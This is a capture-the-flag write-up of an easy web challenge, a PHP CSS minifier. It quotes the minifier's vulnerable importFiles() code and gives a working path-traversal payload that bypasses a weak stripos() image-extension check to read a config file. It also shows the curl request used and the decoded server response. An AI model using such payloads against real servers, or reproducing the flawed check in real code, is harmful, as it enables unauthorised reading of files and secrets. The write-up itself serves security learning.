CSS
CSS
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: css_url_injection, file_get_contents_lfi, path_traversal_with_fake_extension, source_code_review, weak_extension_check_bypass
Summary
Walkthrough of the CUSTOM Web CSS. Task: CSS minifier web app with source code on GitHub. Solution: LFI via file_get_contents() on user-controlled CSS url() path, bypassing weak stripos() extension check with path traversal.
Description
Web application "Minify Them All!!1" — a CSS minifier that accepts CSS code and returns a minified version. Source code is available on GitHub (https://github.com/Sinketsu/kids-css-minify), public directory: /var/www/html/public.
Analysis
Reviewing the repository revealed a custom Minifier.php class with a critical vulnerability in the importFiles() method:
php read-only • copy allowedprotected function importFiles($source, $content) { $regex = '/url\((["\']?)(.+?)\\1\)/i'; if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER)) { $search = []; $replace = []; foreach ($matches as $match) { $path = $match[2]; if (!$this->isImage($path)) { continue; } $importContent = file_get_contents($path); $importContent = base64_encode($importContent); $search[] = $match[0]; $type = "image/jpeg"; $replace[] = 'url(data:'.$type.';base64,'.$importContent.')'; } $content = str_replace($search, $replace, $content); } return $content; }
Vulnerabilities:
-
Unsanitized
file_get_contents($path)— The path from CSSurl()is passed directly tofile_get_contents()without sanitization, allowing arbitrary local file reads (LFI/SSRF). -
Weak
isImage()check — Usesstripos($path, $ext) > 0, checking only for the presence of an image extension anywhere in the path, not at the end of the filename.
The config/app.php file in the repository contains a flag placeholder, indicating the location of the real flag.
Solution
The exploit creates a CSS payload with url() containing a path that:
- Includes
.pngsomewhere in the path to bypass theisImage()check - Uses path traversal (
../) to resolve to the target file
Payload:
css read-only • copy allowedbody{background:url("/var/www/html/config/.png/../app.php")}
Command:
bash read-only • copy allowedcurl -s -X POST 'https://2019-11-10-css.ctf.su/compress.php' \ -d 'css=body{background:url("/var/www/html/config/.png/../app.php")}'
Server response:
json read-only • copy allowed{"mini":"body{background:url(data:image\/jpeg;base64,PD9waHAKCi8vIEhleSwgdGhlcmUhIENURiBmbGFnIHdpbGwgYmUgaGVyZToKJENURl9GTEFHID0gJ3NwYmN0Znt2ZXJ5X3dlYWtfY2hlY2tfeWVhaD99Jzs=)}"}
Decoded base64:
php read-only • copy allowed<?php // Hey, there! CTF flag will be here: $CTF_FLAG = 'spbctf{REDACTED}';
Key Takeaways / Lessons
- Mastering css_url_injection, file_get_contents_lfi, path_traversal_with_fake_extension, source_code_review, weak_extension_check_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-15 • CUSTOM • CSS • Difficulty: Easy